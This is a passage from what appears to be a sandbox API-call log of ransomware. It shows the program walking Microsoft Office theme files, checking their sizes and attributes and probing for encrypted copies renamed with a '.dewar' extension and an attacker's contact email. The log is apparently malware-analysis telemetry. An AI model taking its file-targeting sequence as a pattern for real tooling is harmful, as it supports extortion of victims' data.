(hObject=0x200) returned 1 [0240.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0240.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0240.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.505] SetEvent (hEvent=0x118) returned 1 [0240.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.508] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=45262) returned 1 [0240.508] CloseHandle (hObject=0x200) returned 1 [0240.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0240.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0240.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.509] SetEvent (hEvent=0x118) returned 1 [0240.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.510] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=503) returned 1 [0240.510] CloseHandle (hObject=0x200) returned 1 [0240.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf")) returned 0x20 [0240.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf")) returned 0x20 [0240.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.514] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1453) returned 1 [0240.514] CloseHandle (hObject=0x200) returned 1 [0240.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0240.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0240.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.516] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=25106) returned 1 [0240.516] CloseHandle (hObject=0x200) returned 1 [0240.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0240.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0240.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.518] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=118577) returned 1 [0240.518] CloseHandle (hObject=0x200) returned 1 [0240.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm")) returned 0x20 [0240.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm")) returned 0x20 [0240.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.523] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=595) returned 1 [0240.523] CloseHandle (hObject=0x200) returned 1 [0240.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf")) returned 0x20 [0240.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf")) returned 0x20 [0240.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.524] SetEvent (hEvent=0x118) returned 1 [0240.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.527] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1347) returned 1 [0240.527] CloseHandle (hObject=0x200) returned 1 [0240.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0240.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0240.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.529] SetEvent (hEvent=0x118) returned 1 [0240.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.530] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=32403) returned 1 [0240.530] CloseHandle (hObject=0x200) returned 1 [0240.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0240.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0240.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.532] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=47352) returned 1 [0240.532] CloseHandle (hObject=0x200) returned 1 [0240.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm")) returned 0x20 [0240.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm")) returned 0x20 [0240.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.534] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=529) returned 1 [0240.534] CloseHandle (hObject=0x200) returned 1 [0240.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf")) returned 0x20 [0240.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf")) returned 0x20 [0240.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.540] SetEvent (hEvent=0x118) returned 1 [0240.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.541] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1347) returned 1 [0240.541] CloseHandle (hObject=0x200) returned 1 [0240.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0240.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0240.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.543] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=26402) returned 1 [0240.543] CloseHandle (hObject=0x200) returned 1 [0240.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0240.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0240.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.546] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=77294) returned 1 [0240.546] CloseHandle (hObject=0x200) returned 1 [0240.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm")) returned 0x20 [0240.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm")) returned 0x20 [0240.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.551] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=547) returned 1 [0240.551] CloseHandle (hObject=0x200) returned 1 [0240.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf")) returned 0x20 [0240.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf")) returned 0x20 [0240.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.553] SetEvent (hEvent=0x118) returned 1 [0240.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.554] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1354) returned 1 [0240.554] CloseHandle (hObject=0x200) returned 1 [0240.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0240.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 